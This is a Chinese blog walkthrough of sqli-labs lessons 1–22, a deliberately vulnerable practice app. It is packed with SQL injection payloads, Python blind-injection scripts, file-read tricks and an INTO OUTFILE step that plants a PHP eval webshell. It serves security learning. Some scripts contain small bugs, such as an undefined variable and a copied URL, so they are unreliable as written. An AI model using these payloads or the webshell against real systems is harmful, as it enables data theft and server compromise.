sqli-labs实战记录(一)

前言

最近啊先自己SQL注入确实不行,我只能拿出sql注入的基础部分来练练收了,这个实验环境是sqlilabs

一些前置知识
系统函数
介绍几个常用函数:

1
2
3
4
5
1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本

字符串连接函数

1
2
3
1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

一般用于尝试的语句

1
2
3
4
5
6
7
8
Ps:--+可以用#替换,url 提交过程中Url 编码后的#为%23
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+

正文

Less-1

输入?id=1’出现报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

凡是出现这种有回显的报错是感觉是最好做的注入

常规步骤,暴库->爆表->爆列
这里我们是多写了个单引号导致报错,我们可以从报错看得出来这里是单引号括着id参数
所以我们闭合单引号
构造我们需要的东西
http://192.168.100.105/sqlilabs/Less-1/?id=1%27%23 回显正常,说明猜测成功

去后台看一下语句

1
2
3
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

是这样子的,没有任何过滤

然后开始用order by去猜列数
http://192.168.100.105/sqlilabs/Less-1/?id=1%27 order by 3%23 得到表中应该是三列(用二分法去慢慢测)

然后开始用union select去回显某一列的东西
http://192.168.100.105/sqlilabs/Less-1/?id=-1%27 union select 1,2,3%23
这里我们需要把第一句话弄成结果为空才能显示后面一句话的内容,这里我选择id=-1,然后的话就可以回显2和3,后面就可以利用这两列回显你想要的东西了

下面我们就开始要用mysql里面自带的information_schema表了
猜表名

1
http://192.168.100.105/sqlilabs/Less-1/?id=-1%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

猜列名

1
http://192.168.100.105/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'%23

才猜对应的内容

1
http://192.168.100.105/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,concat_ws('%23',username,password)%20from users limit 0,1%23

这一句话只能猜一行,所以要想看其他行的内容就必须要刷一下limit的内容了

Less-2

很无聊,看一下源代码什么防御都没有

1
2
3
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
1
http://192.168.100.105/sqlilabs/Less-2/?id=1 order by 5

测试得到3列,然后开始闭合,其实这一题直接注释了就好

直接上语句
Payload:

1
http://192.168.100.105/sqlilabs/Less-2/?id=-1 union select 1,2,3#

这时候想测什么都可以了

Less-3

输入?id=1’出现报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

可以猜测这里应该是一个单引号+括号闭合,测试一下对不对

1
http://192.168.100.105/sqlilabs/Less-3/?id=1') %23

成功回显

再看看源代码

1
2
3
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

果然如此

Payload

1
http://192.168.100.105/sqlilabs/Less-3/?id=-1') union select 1,database(),3%23

Less-4

尝试?id=1’单引号没有报错
尝试一下”,发现出现报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

猜测是"+)的组合
闭合一下试试

1
http://192.168.100.105/sqlilabs/Less-4/?id=1")%23

成功回显
再看看源代码果然是这样
接下来就是payload

1
http://192.168.100.105/sqlilabs/Less-4/?id=-1") union select 1,database(),3%23

Less-5

根据You are in的有无来判断正确
输入id=1’出现报错回显
猜测是单引号的注入

1
http://192.168.100.105/sqlilabs/Less-5/?id=1%27%23

尝试闭合一下出现回显,这个题目有两种做法,一种是直接尝试盲注,另一种是报错注入
首先来一个报错注入的payload

1
http://192.168.100.105/sqlilabs/Less-5?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)%23

然后再来一个盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8

import requests


url = "http://192.168.100.102/sqlilabs/Less-5/?id=1%27 and ascii(substr((select database()),{_},1))={__} %23"
#注意一下这里使用=去作为判断条件
#url = "http://192.168.100.102/sqlilabs/Less-5/?id=1%27 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{_},1))={__} %23"


database = ''

for i in range(1,50):
for j in range(65,127):
payload = url.format(_ = i,__ = j)
#print payload
ans = requests.get(payload)
#print ans.content
if 'You are in...........' in ans.content:
# database = database + chr(j)
# print database
table_name += chr(j)
print table_name
break

Less-6

输入?id=1’没有任何反应,双引号闭合就好了

1
http://127.0.0.1/sqlilabs/Less-6/?id=1"%23

直接报错即可

1
http://127.0.0.1/sqlilabs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1)%23

Less-7

是测试写文件的功能
直接输入单引号出现错误

1
You have an error in your SQL syntax

这里得提及一下如果要读取以及写文件的话必须得需要权限,这里我借鉴了一部分内容
导入导出相关操作

1
load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

使用条件:

1
2
3
4
5
6
7
A.必须有权限读取并且文件可读

and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。如果返回错误,则说明管理员给数据库降权。

B.欲读取文件必须在服务器上。
C.必须指定文件完整的路径
D.欲读取文件必须小于max_allowed_packet。

实际应用时,文件读取权限是最难满足的,我们有两个难点需要解决:

1
2
1.绝对物理路径
2.构造有效的畸形语句(报错爆出绝对路径)

实例:

1
2
3
4
5
6
7
8
9
10
11
select 1,2,3,4,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))))
利用hex()将文件导出来,特别是smb文件
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
explain:c:/boot.ini的十六进制是0x633s2f626f6f742e696e69
-1 union select 1,1,1,load_file(C:\\boot.ini)
explain:路径里的/用\\代替
load data file导入数据库
略。
导入到文件中
SELECT INTO OUTFILE ‘file_name’,具体参阅其他文章。
file_name 不能是一个已经存在的文件。

从源代码里面可以发现是要闭合)的,所以我们就可以这样去写文件

1
http://127.0.0.1/sqlilabs/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\1.php' --+

连接成功
PXe8Ig.md.png

Less-8

这一题源代码里面将有关报错信息全都注释了只能用盲注
PXetRs.md.png
先测试发现还是直接一个单号然后加一个注释就可以坐后面的事情了
上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = '''http://192.168.100.102/sqlilabs/Less-8/?id=1' and ascii(substr((select database()),{_},1))
>{__} %23'''

database = ''

for i in range(1,9):
max = 127
min = 65
while abs(max-min)>1:
mid = (max+min)//2
payload = url.format(_=i,__=mid)
ans = requests.get(payload)
if 'You are in...........' in ans.content:
min = mid
else:
max = mid
database = database + chr(max)
print database

Less-9

这是一个时间盲注的题目
直接单引号闭合加个注释其实就ok了,这里就直接给个爆数据库的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time

url = '''http://127.0.0.1/sqlilabs/Less-8/?id=1'and if(ascii(substr(database(),{_},1))={__},1,sleep(3))--+'''

database = ""
for i in range(1, 10):
for j in range(97,127):
payload = url.format(_=i,__=j)
print payload
start = time.time()
ans = requests.get(payload)
if time.time()-start >3:
continue
else:
database += chr(j)
print database
break

Less-10

也是一个时间盲注题目,不过这一题是双引号闭合,把上面的脚本改为双引号就好

Less-11

是一个post表格的界面
上来就尝试

1
2
uname=admin' or '1'='1
passwd=123

Less-12

再尝试Less-11一部分内容,发现不行,没有报错信息
尝试双引号
出现报错

1
your MySQL server version for the right syntax to use near '")

应该是有一个括号的
尝试

1
2
uname=admin") or 1=1 #
passwd=123

立即过

Less-13

上一题的单引号版本

1
2
uname=admin') or 1=1#
passwd=123

Less-14

1
2
uname=admin" or 1=1#
passwd=123

Less-15

1
2
uname=admin' or '1'='1
passwd=123

Less-16

1
2
uname=admin") or 1=1#
passwd=123

Less-17

这一体的注入点在password上,这也提醒了我们,注入点不一定是在第一个输入框内还有可能是第二输入框呢!
我们也可以从源代码的角度去分析,因为源代码写了个check函数去检查username而password反而漏了写
对应的password我们可以用报错注入去实现,用单引号闭合password

1
2
username: admin
password:1' and updatexml(1,concat(0x7e,database(),0x7e),1)#

爆表

1
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

爆列

1
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e),1)#

爆详细信息
这时候输入这一句话的时候

1
1' and updatexml(1,concat(0x7e,(select username from users),0x7e),1)#

会出现

1
You can't specify target table 'users' for update in FROM clause

这是mysql自身的问题不能同时对一个表又select又update,所以我们得构造另外一个表去子查询

1
' and updatexml(1,concat(0x7e,(select username from (select username  from users)b limit 0,1),0x7e),1)#

介绍一下里面的过滤函数,其他两个很熟悉就不介绍了
mysql_real_escape_string()
函数转义SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:

1
2
3
4
5
6
7
\x00
\n
\r
\
'
"
\x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回false。

Less-18

一进去就显示ip,可能是http头注入
查看源代码我们是要登录进去后才能注入,利用的是insert的那一部分语句
先在user-agent那里输入1’ 会出现报错
MySQL server version for the right syntax to use near '127.0.0.1', 'admin')'
再尝试一下1' and '1'='1
出现回显没有报错

1
Your User Agent is: 1' and '1'='1

现在就可以直接使用报错注入了

1
1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

Less-19

从上一题开始这里的每一道题目都需要登陆一下才行
这一次回显的是在referer上面
尝试在referer上面测试1’ and ‘1’=’1
直接回显
说明这一次的注入点是在referer上面
然后像刚才一样直接报错就好

1
Referer: 1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1

Less-20

登陆后发现很明显的cookie字样猜测应该是cookie注入
退出后尝试在http头处尝试cookie

1
uname=admin';

出现报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' LIMIT 0,1' at line 1

应该是单引号闭合
再尝试
uname=admin' or '1'='1成功回显
下面就很好办了,直接报错注入就好了

1
uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

less-21

这一题明显发现uname那一部分经过了base64加密
我们加上单引号再尝试加密发送看一下

1
uname=YWRtaW4n

出现跟上一题一样的报错,看来是一样的了,就是加上base64加密而已

1
admin' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

把上面这一串base64加密就好了

1
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIG9yICcxJz0nMQ==

直接回显你想要的东西,成功

Less-22

这一题就是上一题的套路,只是把单引号笔换成了双引号而已

1
uname=YWRtaW4i

出现报错
直接admin" or "1"="1 闭合一下加密提交就好

1
uname=YWRtaW4iIG9yICIxIj0iMQ==

回显正常
开始报错注入

1
admin" and updatexml(1,concat(0x7e,database(),0x7e),1) or "1"="1

加密得到

1
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIG9yICIxIj0iMQ==

回显数据库成功

小结

SQLi-LABS Page-1(Basic Challenges)的22题就已经全部完爆了
这里面的22道题目都是把一些常见的注入类型给过了一遍,我觉得大概都是四种类型

1
2
3
4
联合查询注入
报错注入
bool盲注
时间盲注

后面的从18关开始就开始是http头的注入,但无论是什么注入,关键是要找到注入点在哪里,然后用合适的方法去闭合相关语句,然后再用正常的语句去查询你所需要的信息就好了


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 前言
  2. 2. 正文
    1. 2.1. Less-1
  3. 3. Less-2
  4. 4. Less-3
  5. 5. Less-4
  6. 6. Less-5
  7. 7. Less-6
  8. 8. Less-7
  9. 9. Less-8
  10. 10. Less-9
  11. 11. Less-10
  12. 12. Less-11
  13. 13. Less-12
  14. 14. Less-13
  15. 15. Less-14
  16. 16. Less-15
  17. 17. Less-16
  18. 18. Less-17
  19. 19. Less-18
  20. 20. Less-19
  21. 21. Less-20
  22. 22. less-21
  23. 23. Less-22
  24. 24. 小结